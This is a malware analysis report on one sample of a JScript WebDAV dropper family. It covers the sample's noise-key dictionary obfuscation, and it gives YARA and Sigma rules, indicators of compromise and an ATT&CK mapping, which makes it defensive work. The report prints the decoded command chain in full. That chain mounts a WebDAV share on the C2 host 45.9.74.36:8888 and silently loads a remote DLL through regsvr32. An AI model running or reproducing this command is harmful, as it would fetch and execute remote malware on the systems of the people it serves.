ade6cf68d1448793cf8a2af4b5d526c53e07f3484265d92e94da856331055451unclassified-js-webdav-dropper: ade6cf68 — 36-entry noise-key dictionary, WebDAV C2 45.9.74.36:8888, payload 3118252697895.dll
Executive Summary
Twenty-sixth confirmed sibling of the unclassified-js-webdav-dropper family. A 5.3 KB JScript file using a 36-entry noise-key dictionary lookup-table obfuscation to assemble a WScript.Shell → cmd /k net use … && regsvr32 /s chain against WebDAV C2 45.9.74.36:8888. No PowerShell wrapper, no wordpad decoy, no sandbox gate — identical execution engine to siblings fa7e181d, cb5d302f, d0124d62, d90baa30, a435a37b, and aa8ff8b9.
What It Is
- File:
3285140421761322433.js^[metadata.json] - Size: 5,311 bytes ^[file.txt]
- Type: ASCII text, CRLF line terminators, one 4,005-character line ^[file.txt]
- SHA-256:
ade6cf68d1448793cf8a2af4b5d526c53e07f3484265d92e94da856331055451 - Family: unclassified-js-webdav-dropper — twenty-sixth confirmed sibling.
- Notable: First observed sample with the exact
drqpclrtazhhywzdictionary object name; 36 noise-key entries are a near-perfect character-set cover (a–z, 0–9) with onlyjandzunused in the assembled payload.
How It Works
The script is a single-line JScript payload wrapped in a try{upzwm();}catch(fozzfuh){…} decoy block. ^[strings.txt:37]
- Dictionary build — 36 entries of the form
drqpclrtazhhywz['noise_key']='char';^[strings.txt:1-35] - Global access —
Function('return this')()resolves to the globalWScriptobject in WSH ^[strings.txt:37] - String assembly — The decoded chain is:
WScript.CreateObject('WScript.Shell').run( 'cmd /k net use \\45.9.74.36@8888\davwwwroot\ && regsvr32 /s \\45.9.74.36@8888\davwwwroot\3118252697895.dll', 0, false)
No wordpad decoy, no PowerShell wrapper, no try/catch nesting beyond the single top-level decoy. This is the stripped execution chain seen in the 45.9.74.36:8888 noise-key cluster.
C2 Infrastructure
| Indicator | Value |
|---|---|
| C2 IP | 45.9.74.36 |
| Port | 8888 |
| WebDAV path | \\45.9.74.36@8888\davwwwroot\ |
| Payload DLL | 3118252697895.dll |
Interesting Tidbits
- The dictionary object name
drqpclrtazhhywzis 15 characters of random lowercase noise — longer than the 12-character names ind0124d62(nxjvhshp) andd90baa30(oagtwglybkhkruc), suggesting an automated generator with configurable length. ^[strings.txt:1] - Keys like
qlojpzfxodipvquk(18 chars) andacjlbrlknnosthmwez(20 chars) are longer than typical 8–12 char noise in earlier siblings, but still follow the lowercase-only, no-semantics pattern. - The
try{upzwm();}catchdecoy function nameupzwmis 5 characters of noise; earlier siblings usedzlpvjq(d0124d62),lceuaxvfrx(d90baa30),mhtsrnvzlu(a435a37b), showing no fixed pattern. - This is the seventh confirmed 36-entry noise-key variant on the
45.9.74.36:8888infrastructure (fa7e181d,cb5d302f,d0124d62,d90baa30,a435a37b,aa8ff8b9, nowade6cf68).
Deployable Signatures
YARA
rule JS_WebDAV_Dropper_Dictionary_NoiseKey_36 {
meta:
description = "JScript WebDAV dropper with 36-entry noise-key dictionary lookup"
family = "unclassified-js-webdav-dropper"
author = "PacketPursuit"
date = "2026-06-28"
strings:
$dict_pattern = /\w+\[\'[a-z]{10,25}\'\]\s*=\s*\'[a-z0-9]\';/
$wscript_ctor = "Function(''+/*"
$webdav = "DavWWWRoot" nocase
$regsvr32 = "regsvr32" nocase
$net_use = "net use" nocase
condition:
uint32be(0) != 0x4D5A and
filesize < 10KB and
#dict_pattern >= 30 and
$wscript_ctor and
$webdav and
$regsvr32 and
$net_use
}
Sigma
title: WebDAV Regsvr32 Silent DLL Load from JScript
description: Detects JScript spawning cmd.exe that mounts a WebDAV share and loads a DLL via regsvr32
logsource:
category: process_creation
product: windows
detection:
selection:
ParentImage|endswith: '\wscript.exe'
CommandLine|contains:
- 'net use'
- 'DavWWWRoot'
- 'regsvr32 /s'
condition: selection
falsepositives:
- Rare legitimate IT automation scripts
level: high
IOC List
| Type | Value |
|---|---|
| SHA-256 | ade6cf68d1448793cf8a2af4b5d526c53e07f3484265d92e94da856331055451 |
| Filename | 3285140421761322433.js |
| C2 | 45.9.74.36:8888 |
| Payload | \\45.9.74.36@8888\davwwwroot\3118252697895.dll |
| ssdeep | 48:CF/UbDEatV8WQ+xWWDE9pw5NNflnafnlCW7A99nuAka7A99nubadplD:aOEc0+AWDBnG7A99nuAka7A99nubadX ^[triage.json] |
Behavioral Fingerprint
A JScript file opened by wscript.exe builds a 30+ entry noise-key dictionary, then uses Function('return this')() to access WScript.CreateObject('WScript.Shell').Run(), spawning cmd.exe /k net use \\<IP>@8888\DavWWWRoot\ && regsvr32 /s \\<IP>@8888\DavWWWRoot\<digits>.dll with window hidden (0). No PowerShell, no wordpad decoy, no sandbox gate. The entire execution completes within seconds of the user double-clicking the .js file.
Detection Signatures
| ATT&CK | Technique | Evidence |
|---|---|---|
| T1059.005 | Visual Basic / JScript | wscript.exe opens .js file ^[strings.txt:37] |
| T1059.003 | Windows Command Shell | cmd /k executes net use and regsvr32 ^[strings.txt:37] |
| T1218.010 | Regsvr32 | regsvr32 /s \\45.9.74.36@8888\davwwwroot\3118252697895.dll ^[strings.txt:37] |
| T1218 | System Binary Proxy Execution | regsvr32.exe (signed Windows binary) loads remote DLL ^[strings.txt:37] |
| T1027 | Obfuscated Files or Information | 36-entry noise-key dictionary lookup obfuscation ^[strings.txt:1-35] |
| T1071.001 | Application Layer Protocol: Web Protocols | WebDAV over HTTP via UNC path ^[strings.txt:37] |
| T1105 | Ingress Tool Transfer | net use mounts share; regsvr32 fetches and loads DLL ^[strings.txt:37] |
References
- Sibling analyses: unclassified-js-webdav-dropper entity page
- Technique: js-dictionary-char-lookup-obfuscation, webdav-regsvr32-dll-sideloading
- CAPE: skipped — ASCII text, not a supported binary class ^[dynamic-analysis.md]
Provenance
strings.txt— raw file content (full JScript payload)file.txt— file type identification (ASCII text, CRLF)metadata.json— OpenCTI artifact metadata (3285140421761322433.js)triage.json— triage pipeline output (ssdeep, family=null, tier=deep)dynamic-analysis.md— CAPE skip note (non-binary)exiftool.json— file metadata (5.3 KB, 37 lines, Windows CRLF)- Decoded payload verified via Python dictionary replay against
strings.txtcontent.